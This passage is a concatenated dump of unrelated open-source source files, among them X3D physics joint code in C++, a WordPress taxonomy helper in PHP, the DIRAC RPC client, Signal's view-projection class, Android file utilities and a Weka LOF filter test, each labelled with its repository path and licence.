X3DBaseNode*
UniversalJoint::create (X3DExecutionContext* const executionContext) const
{
return new UniversalJoint (executionContext);
}
void
UniversalJoint::initialize ()
{
X3DRigidJointNode::initialize ();
anchorPoint () .addInterest (&UniversalJoint::set_joint, this);
axis1 () .addInterest (&UniversalJoint::set_joint, this);
axis2 () .addInterest (&UniversalJoint::set_joint, this);
}
void
UniversalJoint::addJoint ()
{
if (not getCollection ())
return;
if (not getBody1 ())
return;
if (not getBody2 ())
return;
if (getBody1 () -> getCollection () not_eq getCollection ())
return;
if (getBody2 () -> getCollection () not_eq getCollection ())
return;
auto localAnchorPoint1 = anchorPoint () .getValue ();
auto localAnchorPoint2 = anchorPoint () .getValue ();
auto localAxis1 = axis1 () .getValue ();
auto localAxis2 = axis2 () .getValue ();
localAnchorPoint1 = localAnchorPoint1 * getInitialInverseMatrix1 ();
localAnchorPoint2 = localAnchorPoint2 * getInitialInverseMatrix2 ();
localAxis1 = normalize (getInitialInverseMatrix1 () .mult_dir_matrix (localAxis1));
localAxis2 = normalize (getInitialInverseMatrix2 () .mult_dir_matrix (localAxis2));
joint .reset (new btUniversalConstraint (*getBody1 () -> getRigidBody (),
*getBody2 () -> getRigidBody (),
btVector3 (anchorPoint () .getX (), anchorPoint () .getY (), anchorPoint () .getZ ()),
btVector3 (axis1 () .getX (), axis1 () .getY (), axis1 () .getZ ()),
btVector3 (axis2 () .getX (), axis2 () .getY (), axis2 () .getZ ())));
getCollection () -> getDynamicsWorld () -> addConstraint (joint .get (), true);
if (outputs [size_t (OutputType::body1AnchorPoint)])
body1AnchorPoint () = localAnchorPoint1;
if (outputs [size_t (OutputType::body2AnchorPoint)])
body2AnchorPoint () = localAnchorPoint2;
if (outputs [size_t (OutputType::body1Axis)])
body1Axis () = localAxis1;
if (outputs [size_t (OutputType::body2Axis)])
body2Axis () = localAxis2;
}
void
UniversalJoint::removeJoint ()
{
if (not joint)
return;
if (getCollection ())
getCollection () -> getDynamicsWorld () -> removeConstraint (joint .get ());
joint .reset ();
}
void
UniversalJoint::set_forceOutput ()
{
const std::map <std::string, OutputType> outputTypes = {
std::pair ("body1AnchorPoint", OutputType::body1AnchorPoint),
std::pair ("body2AnchorPoint", OutputType::body2AnchorPoint),
};
std::fill (outputs .begin (), outputs .end (), false);
for (const auto & value : basic::make_const_range (forceOutput ()))
{
try
{
if (value == "ALL")
{
std::fill (outputs .begin (), outputs .end (), true);
}
else
{
outputs [size_t (outputTypes .at (value))] = true;
}
}
catch (const std::out_of_range & error)
{ }
}
}
void
UniversalJoint::update1 ()
{
// Editing support.
if (getExecutionContext () -> isLive ())
return;
initialize1 ();
set_joint ();
}
void
UniversalJoint::update2 ()
{
// Editing support.
if (getExecutionContext () -> isLive ())
return;
initialize2 ();
set_joint ();
}
} // X3D
} // titania
| gpl-3.0 |
bioinformatics-ua/montra | emif/api/serializers.py | 1014 | # -*- coding: utf-8 -*-
# Copyright (C) 2014 Universidade de Aveiro, DETI/IEETA, Bioinformatics Group - http://bioinformatics.ua.pt/
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from django.contrib.auth.models import User, Group, Permission
from rest_framework import serializers
class SearchSerializer(serializers.Serializer):
title = serializers.CharField(max_length=100)
text = serializers.CharField()
| gpl-3.0 |
tranleduy2000/javaide | aosp/lint-api/src/main/java/com/android/tools/lint/client/api/CircularDependencyException.java | 2245 | /*
* Copyright (C) 2012 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.tools.lint.client.api;
import com.android.annotations.NonNull;
import com.android.annotations.Nullable;
import com.android.tools.lint.detector.api.Location;
import com.android.tools.lint.detector.api.Project;
import com.google.common.annotations.Beta;
/**
* Exception thrown when there is a circular dependency, such as a circular dependency
* of library mProject references
* <p>
* <b>NOTE: This is not a public or final API; if you rely on this be prepared
* to adjust your code for the next tools release.</b>
*/
@Beta
public class CircularDependencyException extends RuntimeException {
@Nullable
private Project mProject;
@Nullable
private Location mLocation;
CircularDependencyException(@NonNull String message) {
super(message);
}
/**
* Returns the associated project, if any
*
* @return the associated project, if any
*/
@Nullable
public Project getProject() {
return mProject;
}
/**
* Sets the associated project, if any
*
* @param project the associated project, if any
*/
public void setProject(@Nullable Project project) {
mProject = project;
}
/**
* Returns the associated location, if any
*
* @return the associated location, if any
*/
@Nullable
public Location getLocation() {
return mLocation;
}
/**
* Sets the associated location, if any
*
* @param location the associated location, if any
*/
public void setLocation(@Nullable Location location) {
mLocation = location;
}
}
| gpl-3.0 |
jkroll20/tlgbackend | doxygen/html/classtlgflaws_1_1_f_no_images_1_1_action.js | 158 | var classtlgflaws_1_1_f_no_images_1_1_action =
[
[ "execute", "classtlgflaws_1_1_f_no_images_1_1_action.html#a82b0a6a0ba3a761c50d79e0395d6685f", null ]
]; | gpl-3.0 |
minin43/nzombies | gamemodes/nzombies/entities/entities/button_elec/shared.lua | 1037 | AddCSLuaFile( )
ENT.Type = "anim"
ENT.PrintName = "button_elec"
ENT.Author = "Alig96"
ENT.Contact = "Don't"
ENT.Purpose = ""
ENT.Instructions = ""
function ENT:SetupDataTables()
self:NetworkVar( "Bool", 0, "Switch" )
end
function ENT:Initialize()
if SERVER then
self:SetModel( "models/MaxOfS2D/button_01.mdl" )
self:SetSolid( SOLID_VPHYSICS )
self:SetMoveType( MOVETYPE_NONE )
self:SetUseType( ONOFF_USE )
self:SetSwitch(false)
else
self.PosePosition = 0
end
end
function ENT:Use( activator )
if ( !activator:IsPlayer() ) then return end
if !IsElec() and nzRound:InProgress() then
self:SetSwitch(true)
nz.nzElec.Functions.Activate()
end
end
if CLIENT then
function ENT:Think()
local TargetPos = 0.0;
if ( self:GetSwitch() ) then TargetPos = 1.0; end
self.PosePosition = math.Approach( self.PosePosition, TargetPos, FrameTime() * 5.0 )
self:SetPoseParameter( "switch", self.PosePosition )
self:InvalidateBoneCache()
end
function ENT:Draw()
self:DrawModel()
end
end | gpl-3.0 |
geminorum/gpeople | gplugin/taxonomyhelper.class.php | 8709 | <?php defined( 'ABSPATH' ) || die( header( 'HTTP/1.0 403 Forbidden' ) );
if ( ! class_exists( 'gPluginTaxonomyHelper' ) ) { class gPluginTaxonomyHelper extends gPluginClassCore
{
// Originally from : Custom Field Taxonomies : https://github.com/scribu/wp-custom-field-taxonomies
public static function getMetaRows( $meta_key, $limit = FALSE, $offset = 0 )
{
global $wpdb;
if ( $limit )
$query = $wpdb->prepare( "
SELECT post_id, GROUP_CONCAT( meta_value ) as meta
FROM $wpdb->postmeta
WHERE meta_key = %s
GROUP BY post_id
LIMIT %d
OFFSET %d
", $meta_key, $limit, $offset );
else
$query = $wpdb->prepare( "
SELECT post_id, GROUP_CONCAT( meta_value ) as meta
FROM $wpdb->postmeta
WHERE meta_key = %s
GROUP BY post_id
", $meta_key );
return $wpdb->get_results( $query );
}
// Originally from : Custom Field Taxonomies : https://github.com/scribu/wp-custom-field-taxonomies
// here because we used this to convert meta into terms
public static function getMetaKeys( $table = 'postmeta' )
{
global $wpdb;
$from = $wpdb->{$table};
return $wpdb->get_col( "
SELECT meta_key
FROM $from
GROUP BY meta_key
HAVING meta_key NOT LIKE '\_%'
ORDER BY meta_key ASC
" );
}
// Originally from : Custom Field Taxonomies : https://github.com/scribu/wp-custom-field-taxonomies
// here because we used this to convert meta into terms
public static function deleteMetaKeys( $meta_key, $limit = FALSE, $table = 'postmeta' )
{
global $wpdb;
$from = $wpdb->{$table};
if ( $limit )
$query = $wpdb->prepare( "DELETE FROM $from WHERE meta_key = %s LIMIT %d", $meta_key, $limit );
else
$query = $wpdb->prepare( "DELETE FROM $from WHERE meta_key = %s", $meta_key );
return $wpdb->query( $query );
}
// USED WHEN: admin edit table
public static function get_admin_terms_edit( $post_id, $post_type, $taxonomy, $glue = ', ', $empty = '—' )
{
$taxonomy_object = get_taxonomy( $taxonomy );
if ( $terms = get_the_terms( $post_id, $taxonomy ) ) {
$out = array();
foreach ( $terms as $t ) {
$posts_in_term_qv = array();
if ( 'post' != $post_type )
$posts_in_term_qv['post_type'] = $post_type;
if ( $taxonomy_object->query_var ) {
$posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug;
} else {
$posts_in_term_qv['taxonomy'] = $taxonomy;
$posts_in_term_qv['term'] = $t->slug;
}
$out[] = sprintf( '<a href="%s">%s</a>',
esc_url( add_query_arg( $posts_in_term_qv, 'edit.php' ) ),
esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) )
);
}
return join( $glue, $out );
} else {
return $empty;
}
}
public static function update_count_callback( $terms, $taxonomy )
{
global $wpdb;
foreach ( (array) $terms as $term ) {
$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term ) );
do_action( 'edit_term_taxonomy', $term, $taxonomy );
$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );
do_action( 'edited_term_taxonomy', $term, $taxonomy );
}
}
public static function insert_default_terms( $taxonomy, $defaults )
{
if ( ! taxonomy_exists( $taxonomy ) )
return FALSE;
foreach ( $defaults as $term_slug => $term_name )
if ( ! term_exists( $term_slug, $taxonomy ) )
wp_insert_term( $term_name, $taxonomy, array( 'slug' => $term_slug ) );
return TRUE;
}
// FIXME: DEPRECATED
public static function prepare_terms( $taxonomy, $extra = array(), $terms = NULL, $key = 'term_id', $object = TRUE )
{
self::__dep( 'gPluginTaxonomyHelper::prepareTerms()');
return self::prepareTerms( $taxonomy, $extra, $terms, $key, $object );
}
public static function prepareTerms( $taxonomy, $extra = array(), $terms = NULL, $key = 'term_id', $object = TRUE )
{
$new_terms = array();
if ( is_null( $terms ) ) {
$terms = get_terms( $taxonomy, array_merge( array(
'hide_empty' => FALSE,
'orderby' => 'name',
'order' => 'ASC'
), $extra ) );
}
if ( is_wp_error( $terms ) || FALSE === $terms )
return $new_terms;
foreach ( $terms as $term ) {
$new = array(
'name' => $term->name,
'description' => $term->description,
'excerpt' => $term->description,
'link' => get_term_link( $term, $taxonomy ),
'count' => $term->count,
'parent' => $term->parent,
'slug' => $term->slug,
'id' => $term->term_id,
);
$new_terms[$term->{$key}] = $object ? (object) $new : $new;
}
return $new_terms;
}
public static function theTerm( $taxonomy, $post_ID, $object = FALSE )
{
$terms = get_the_terms( $post_ID, $taxonomy );
if ( $terms && ! is_wp_error( $terms ) ) {
foreach ( $terms as $term ) {
if ( $object ) {
return $term;
} else {
return $term->term_id;
}
}
}
return '0';
}
public static function getTerms( $taxonomy = 'category', $object_id = FALSE, $object = FALSE, $key = 'term_id', $extra = array(), $post_object = TRUE )
{
// using cached terms, only for posts, when no extra args provided
if ( is_null( $object_id ) && empty( $extra ) )
$terms = get_the_terms( get_post(), $taxonomy );
else if ( is_null( $object_id ) )
$terms = wp_get_object_terms( get_post()->ID, $taxonomy, $extra );
// using cached terms, only for posts, when no extra args provided
else if ( FALSE !== $object_id && empty( $extra ) && $post_object )
$terms = get_the_terms( $object_id, $taxonomy );
else if ( FALSE !== $object_id )
$terms = wp_get_object_terms( $object_id, $taxonomy, $extra );
else
$terms = get_terms( array_merge( array(
'taxonomy' => $taxonomy,
'hide_empty' => FALSE,
'orderby' => 'name',
'order' => 'ASC',
'update_term_meta_cache' => FALSE,
), $extra ) );
if ( ! $terms || is_wp_error( $terms ) )
return array();
$list = wp_list_pluck( $terms, $key );
return $object ? array_combine( $list, $terms ) : $list;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
/// NOT USED YET ---------------------------------------------------------------
// https://gist.github.com/danielbachhuber/2922627
// Check if another blog has a given taxonomy
/**
* Check if another blog on the network has a taxonomy registered
* We check by seeing if there's a term in that taxonomy, so this
* approach will only work if that's the case.
*
* I didn't actually test this... you obviously should :)
*
* @see https://twitter.com/trepmal/status/212766835504984065
*/
function dbx_blog_has_taxonomy( $_blog_id, $taxonomy = 'author' )
{
// This isn't cached but you'd want to cache it heavily as you
// don't want to run switch_to_blog() on every pageload
switch_to_blog( $_blog_id );
global $wpdb;
$query = $wpdb->prepare( "SELECT term_id FROM $wpdb->term_taxonomy WHERE taxonomy=%s LIMIT 1", $taxonomy );
$result = (bool)$wpdb->get_var( $query );
restore_current_blog();
return $result;
}
// dep!
// based on WP get_term_by()
// returns array of matched terms
function search_term_by( $field, $value, $taxonomy, $output = OBJECT, $filter = 'raw' )
{
global $wpdb;
if ( ! taxonomy_exists( $taxonomy ) )
return FALSE;
if ( 'slug' == $field ) {
$field = 't.slug';
$value = sanitize_title( $value );
if ( empty($value) )
return FALSE;
} else if ( 'name' == $field ) {
// assume already escaped
$value = gPluginUtils::unslash( $value );
$field = 't.name';
} else {
$term = get_term( (int) $value, $taxonomy, $output, $filter );
if ( is_wp_error( $term ) )
$term = FALSE;
return $term;
}
$term = $wpdb->get_row( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = %s AND $field LIKE %%s% LIMIT 1", $taxonomy, $value ) );
if ( !$term )
return FALSE;
wp_cache_add($term->term_id, $term, $taxonomy);
$term = apply_filters( 'get_term', $term, $taxonomy);
$term = apply_filters( "get_$taxonomy", $term, $taxonomy);
$term = sanitize_term( $term, $taxonomy, $filter);
if ( $output == OBJECT ) {
return $term;
} else if ( $output == ARRAY_A ) {
return get_object_vars($term);
} else if ( $output == ARRAY_N ) {
return array_values(get_object_vars($term));
} else {
return $term;
}
}
} }
| gpl-3.0 |
TriumphLLC/FashionProject | modules/operators/tools/points/line_intersection_and_circle.py | 737 | import bpy
from fashion_project.modules.draw.points.line_intersection_and_circle import LineIntersectionAndCircle
class FP_LineIntersectionAndCircle(bpy.types.Operator):
'''
Позволяет построить точки
пересечения линии и окружности
'''
bl_idname = "fp.line_intersection_and_circle"
bl_label = "FP_LineIntersectionAndCircle"
@classmethod
def poll(cls, context):
return LineIntersectionAndCircle().poll(context)
def execute(self, context):
LineIntersectionAndCircle().create(context)
return {'FINISHED'}
def register():
bpy.utils.register_class(FP_LineIntersectionAndCircle)
def unregister():
bpy.utils.unregister_class(FP_LineIntersectionAndCircle)
| gpl-3.0 |
hgiemza/DIRAC | Core/Base/Client.py | 3300 | """ Base class for DIRAC Client """
__RCSID__ = "$Id$"
from DIRAC.Core.DISET.RPCClient import RPCClient
class Client( object ):
""" Simple class to redirect unknown actions directly to the server. Arguments
to the constructor are passed to the RPCClient constructor as they are.
Some of them can however be overwritten at each call (url and timeout).
This class is not thread safe !
- The self.serverURL member should be set by the inheriting class
"""
def __init__( self, **kwargs ):
""" C'tor.
:param kwargs: just stored as an attribute and passed when creating
the RPCClient
"""
self.serverURL = None
self.call = None # I suppose it is initialized here to make pylint happy
self.__kwargs = kwargs
def setServer( self, url ):
""" Set the server URL used by default
:param url: url of the service
"""
self.serverURL = url
def setTimeout( self, timeout ):
""" Specify the timeout of the call. Forwarded to RPCClient
:param timeout: guess...
"""
self.__kwargs['timeout'] = timeout
def getServer( self ):
""" Getter for the server url. Useful ?
"""
return self.serverURL
def __getattr__( self, name ):
""" Store the attribute asked and call executeRPC.
This means that Client should not be shared between threads !
"""
# This allows the dir() method to work as well as tab completion in ipython
if name == '__dir__':
return super( Client, self ).__getattr__() #pylint: disable=no-member
self.call = name
return self.executeRPC
def executeRPC( self, *parms, **kws ):
""" This method extracts some parameters from kwargs that
are used as parameter of the constructor or RPCClient.
Unfortunately, only a few of all the available
parameters of BaseClient are exposed.
:param rpc: if an RPC client is passed, use that one
:param timeout: we can change the timeout on a per call bases. Default 120 s
:param url: We can specify which url to use
"""
toExecute = self.call
# Check whether 'rpc' keyword is specified
rpc = False
if kws.has_key( 'rpc' ):
rpc = kws['rpc']
del kws['rpc']
# Check whether the 'timeout' keyword is specified
timeout = 120
if kws.has_key( 'timeout' ):
timeout = kws['timeout']
del kws['timeout']
# Check whether the 'url' keyword is specified
url = ''
if kws.has_key( 'url' ):
url = kws['url']
del kws['url']
# Create the RPCClient
rpcClient = self._getRPC( rpc, url, timeout )
# Execute the method
return getattr( rpcClient, toExecute )( *parms )
# evalString = "rpcClient.%s(*parms,**kws)" % toExecute
# return eval( evalString )
def _getRPC( self, rpc = None, url = '', timeout = 600 ):
""" Return an RPCClient object constructed following the attributes.
:param rpc: if set, returns this object
:param url: url of the service. If not set, use self.serverURL
:param timeout: timeout of the call
"""
if not rpc:
if not url:
url = self.serverURL
self.__kwargs.setdefault( 'timeout', timeout )
rpc = RPCClient( url, **self.__kwargs )
return rpc
| gpl-3.0 |
structr/structr | structr-db-driver-api/src/main/java/org/structr/api/search/SortSpec.java | 876 | /*
* Copyright (C) 2010-2021 Structr GmbH
*
* This file is part of Structr <http://structr.org>.
*
* Structr is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* Structr is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Structr. If not, see <http://www.gnu.org/licenses/>.
*/
package org.structr.api.search;
public interface SortSpec {
SortType getSortType();
String getSortKey();
boolean sortDescending();
}
| gpl-3.0 |
pillarone/risk-analytics-property-casualty | src/groovy/org/pillarone/riskanalytics/domain/assets/IModellingStrategy.java | 309 | package org.pillarone.riskanalytics.domain.assets;
import org.pillarone.riskanalytics.core.parameterization.IParameterObject;
/**
* @author cyril (dot) neyme (at) kpmg (dot) fr
*/
public interface IModellingStrategy extends IParameterObject {
void reset(); //maybe useful to clean up
}
| gpl-3.0 |
cascheberg/Signal-Android | app/src/main/java/org/thoughtcrime/securesms/util/Projection.java | 7360 | package org.thoughtcrime.securesms.util;
import android.graphics.Path;
import android.graphics.Rect;
import android.graphics.RectF;
import android.os.Build;
import android.view.View;
import android.view.ViewGroup;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.recyclerview.widget.RecyclerView;
import org.signal.core.util.logging.Log;
import org.thoughtcrime.securesms.components.CornerMask;
import java.util.Objects;
/**
* Describes the position, size, and corner masking of a given view relative to a parent.
*/
public final class Projection {
private final float x;
private final float y;
private final int width;
private final int height;
private final Corners corners;
private final Path path;
private final RectF rect;
public Projection(float x, float y, int width, int height, @Nullable Corners corners) {
this.x = x;
this.y = y;
this.width = width;
this.height = height;
this.corners = corners;
this.path = new Path();
rect = new RectF();
rect.set(x, y, x + width, y + height);
if (corners != null) {
path.addRoundRect(rect, corners.toRadii(), Path.Direction.CW);
} else {
path.addRect(rect, Path.Direction.CW);
}
}
public float getX() {
return x;
}
public float getY() {
return y;
}
public int getWidth() {
return width;
}
public int getHeight() {
return height;
}
public @Nullable Corners getCorners() {
return corners;
}
public @NonNull Path getPath() {
return path;
}
public void applyToPath(@NonNull Path path) {
if (corners == null) {
path.addRect(rect, Path.Direction.CW);
} else {
if (Build.VERSION.SDK_INT >= 21) {
path.addRoundRect(rect, corners.toRadii(), Path.Direction.CW);
} else {
path.op(path, Path.Op.UNION);
}
}
}
@Override public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
final Projection that = (Projection) o;
return Float.compare(that.x, x) == 0 &&
Float.compare(that.y, y) == 0 &&
width == that.width &&
height == that.height &&
Objects.equals(corners, that.corners);
}
@Override public int hashCode() {
return Objects.hash(x, y, width, height, corners);
}
public @NonNull Projection translateX(float xTranslation) {
return new Projection(x + xTranslation, y, width, height, corners);
}
public @NonNull Projection withDimensions(int width, int height) {
return new Projection(x, y, width, height, corners);
}
public @NonNull Projection withHeight(int height) {
return new Projection(x, y, width, height, corners);
}
public static @NonNull Projection relativeToParent(@NonNull ViewGroup parent, @NonNull View view, @Nullable Corners corners) {
Rect viewBounds = new Rect();
view.getDrawingRect(viewBounds);
parent.offsetDescendantRectToMyCoords(view, viewBounds);
return new Projection(viewBounds.left, viewBounds.top, view.getWidth(), view.getHeight(), corners);
}
public static @NonNull Projection relativeToViewRoot(@NonNull View view, @Nullable Corners corners) {
Rect viewBounds = new Rect();
ViewGroup root = (ViewGroup) view.getRootView();
view.getDrawingRect(viewBounds);
root.offsetDescendantRectToMyCoords(view, viewBounds);
return new Projection(viewBounds.left, viewBounds.top, view.getWidth(), view.getHeight(), corners);
}
public static @NonNull Projection relativeToViewWithCommonRoot(@NonNull View toProject, @NonNull View viewWithCommonRoot, @Nullable Corners corners) {
Rect viewBounds = new Rect();
ViewGroup root = (ViewGroup) toProject.getRootView();
toProject.getDrawingRect(viewBounds);
root.offsetDescendantRectToMyCoords(toProject, viewBounds);
root.offsetRectIntoDescendantCoords(viewWithCommonRoot, viewBounds);
return new Projection(viewBounds.left, viewBounds.top, toProject.getWidth(), toProject.getHeight(), corners);
}
public static @NonNull Projection translateFromRootToDescendantCoords(@NonNull Projection rootProjection, @NonNull View descendant) {
Rect viewBounds = new Rect();
viewBounds.set((int) rootProjection.x, (int) rootProjection.y, (int) rootProjection.x + rootProjection.width, (int) rootProjection.y + rootProjection.height);
((ViewGroup) descendant.getRootView()).offsetRectIntoDescendantCoords(descendant, viewBounds);
return new Projection(viewBounds.left, viewBounds.top, rootProjection.width, rootProjection.height, rootProjection.corners);
}
public static @NonNull Projection translateFromDescendantToParentCoords(@NonNull Projection descendantProjection, @NonNull View descendant, @NonNull ViewGroup parent) {
Rect viewBounds = new Rect();
viewBounds.set((int) descendantProjection.x, (int) descendantProjection.y, (int) descendantProjection.x + descendantProjection.width, (int) descendantProjection.y + descendantProjection.height);
parent.offsetDescendantRectToMyCoords(descendant, viewBounds);
return new Projection(viewBounds.left, viewBounds.top, descendantProjection.width, descendantProjection.height, descendantProjection.corners);
}
public static final class Corners {
private final float topLeft;
private final float topRight;
private final float bottomRight;
private final float bottomLeft;
public Corners(float topLeft, float topRight, float bottomRight, float bottomLeft) {
this.topLeft = topLeft;
this.topRight = topRight;
this.bottomRight = bottomRight;
this.bottomLeft = bottomLeft;
}
public Corners(float[] radii) {
this.topLeft = radii[0];
this.topRight = radii[2];
this.bottomRight = radii[4];
this.bottomLeft = radii[6];
}
public Corners(float radius) {
this(radius, radius, radius, radius);
}
public float getTopLeft() {
return topLeft;
}
public float getTopRight() {
return topRight;
}
public float getBottomLeft() {
return bottomLeft;
}
public float getBottomRight() {
return bottomRight;
}
public float[] toRadii() {
float[] radii = new float[8];
radii[0] = radii[1] = topLeft;
radii[2] = radii[3] = topRight;
radii[4] = radii[5] = bottomRight;
radii[6] = radii[7] = bottomLeft;
return radii;
}
@Override public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
final Corners corners = (Corners) o;
return Float.compare(corners.topLeft, topLeft) == 0 &&
Float.compare(corners.topRight, topRight) == 0 &&
Float.compare(corners.bottomRight, bottomRight) == 0 &&
Float.compare(corners.bottomLeft, bottomLeft) == 0;
}
@Override public int hashCode() {
return Objects.hash(topLeft, topRight, bottomRight, bottomLeft);
}
@Override public String toString() {
return "Corners{" +
"topLeft=" + topLeft +
", topRight=" + topRight +
", bottomRight=" + bottomRight +
", bottomLeft=" + bottomLeft +
'}';
}
}
}
| gpl-3.0 |
structr/structr | structr-core/src/main/java/org/structr/core/graph/ModificationEvent.java | 1679 | /*
* Copyright (C) 2010-2021 Structr GmbH
*
* This file is part of Structr <http://structr.org>.
*
* Structr is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* Structr is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Structr. If not, see <http://www.gnu.org/licenses/>.
*/
package org.structr.core.graph;
import java.util.Map;
import org.structr.api.graph.RelationshipType;
import org.structr.common.SecurityContext;
import org.structr.common.error.FrameworkException;
import org.structr.core.GraphObject;
import org.structr.core.property.PropertyMap;
/**
*
*
*/
public interface ModificationEvent {
public boolean isNode();
public int getStatus();
public String getChangeLog();
public Map<String, StringBuilder> getUserChangeLogs();
public String getCallbackId();
public boolean isDeleted();
public boolean isModified();
public boolean isCreated();
public GraphObject getGraphObject();
public RelationshipType getRelationshipType();
public String getUuid();
public PropertyMap getNewProperties();
public PropertyMap getModifiedProperties();
public PropertyMap getRemovedProperties();
public Map<String, Object> getData(final SecurityContext securityContext) throws FrameworkException;
}
| gpl-3.0 |
omegasoft7/wATL | whsutils/src/main/java/su/whs/utils/FileUtils.java | 4471 | package su.whs.utils;
import android.content.Context;
import android.os.Build;
import android.os.StatFs;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.List;
/**
* Created by igor n. boulliev on 01.05.15.
*/
public class FileUtils {
public interface ContentFilter {
void filter(byte[] buffer, int len);
}
public static void Copy(File src, File dst) throws IOException {
for (File content : src.listFiles()) {
if (content.isDirectory()) {
File tgt = new File(dst,content.getName());
if (!tgt.exists()) tgt.mkdir();
Copy(content,tgt);
} else {
File tgt = new File(dst,content.getName());
InputStream in = new FileInputStream(content);
OutputStream out = new FileOutputStream(tgt);
byte[] buf = new byte[8192];
int len;
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
in.close();
out.close();
}
}
}
public static void Copy(File src, File dst, ContentFilter filter) throws IOException {
for (File content : src.listFiles()) {
if (content.isDirectory()) {
File tgt = new File(dst,content.getName());
if (!tgt.exists()) tgt.mkdir();
Copy(content,tgt, filter);
} else {
File tgt = new File(dst,content.getName());
InputStream in = new FileInputStream(content);
OutputStream out = new FileOutputStream(tgt);
byte[] buf = new byte[8192];
int len;
while ((len = in.read(buf)) > 0) {
if (filter!=null)
filter.filter(buf,len);
out.write(buf, 0, len);
}
in.close();
out.close();
}
}
}
public static void Remove(File dir) {
if (dir.isDirectory() && dir.exists())
for (File child : dir.listFiles())
Remove(child);
dir.delete();
}
public static String convertStreamToString(InputStream is) throws Exception {
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
StringBuilder sb = new StringBuilder();
String line = null;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
}
reader.close();
return sb.toString();
}
public static String getStringFromFile (String filePath) throws Exception {
File fl = new File(filePath);
FileInputStream fin = new FileInputStream(fl);
String ret = convertStreamToString(fin);
//Make sure you close all streams.
fin.close();
return ret;
}
public static long freeSpace(String path) {
StatFs stat = new StatFs(path);
if (Build.VERSION.SDK_INT<Build.VERSION_CODES.JELLY_BEAN_MR2)
return stat.getBlockSize() * stat.getFreeBlocks();
else
return stat.getFreeBytes();
}
public static long freeSpace(File file) {
return freeSpace(file.getAbsolutePath());
}
public static long maxSpace(File a, File b) {
long s1 = freeSpace(a);
long s2 = freeSpace(b);
return s1>s2 ? s1 : s2;
}
public static String[] getWritableStorages(Context context) {
StatFs stat = null;
List<String> result = new ArrayList<String>();
File cache = context.getCacheDir();
File cacheExt = context.getExternalCacheDir();
long cacheSize = maxSpace(cache,cacheExt);
File files = context.getFilesDir();
File filesExt = context.getExternalFilesDir(null);
long filesSize = maxSpace(files,filesExt);
File mnt = new File("/mnt");
if (mnt.exists() && mnt.isDirectory()) {
File[] points = mnt.listFiles();
}
if (result.size()<1) return null;
String[] r = new String[result.size()];
for(int i=0; i<r.length; i++)
r[i] = result.get(i);
return r;
}
}
| gpl-3.0 |
dsibournemouth/autoweka | .wekafiles/packages/localOutlierFactor/src/test/java/weka/filters/unsupervised/attribute/LOFTest.java | 1872 | package weka.filters.unsupervised.attribute;
import weka.core.Attribute;
import weka.core.Instances;
import weka.filters.AbstractFilterTest;
import weka.filters.Filter;
import weka.filters.unsupervised.attribute.LOF;
import junit.framework.Test;
import junit.framework.TestSuite;
import junit.textui.TestRunner;
public class LOFTest extends AbstractFilterTest {
public LOFTest(String name) {
super(name);
}
public Filter getFilter() {
LOF temp = new LOF();
temp.setMinPointsLowerBound("5");
temp.setMinPointsUpperBound("10");
return temp;
}
protected void setUp() throws Exception {
super.setUp();
m_Instances.deleteAttributeType(Attribute.STRING);
// class index
// m_Instances.setClassIndex(1);
}
protected void performTest() {
Instances icopy = new Instances(m_Instances);
Instances result = null;
try {
m_Filter.setInputFormat(icopy);
}
catch (Exception ex) {
ex.printStackTrace();
fail("Exception thrown on setInputFormat(): \n" + ex.getMessage());
}
try {
result = Filter.useFilter(icopy, m_Filter);
assertNotNull(result);
}
catch (Exception ex) {
ex.printStackTrace();
fail("Exception thrown on useFilter(): \n" + ex.getMessage());
}
assertEquals(icopy.numInstances(), result.numInstances());
assertEquals(icopy.numAttributes() + 1, result.numAttributes());
}
public void testTypical() {
m_Filter = getFilter();
performTest();
}
/**
